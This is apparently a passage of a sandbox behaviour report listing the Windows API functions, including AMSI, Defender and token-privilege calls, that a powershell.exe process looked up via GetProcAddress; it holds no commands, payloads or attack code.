"powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 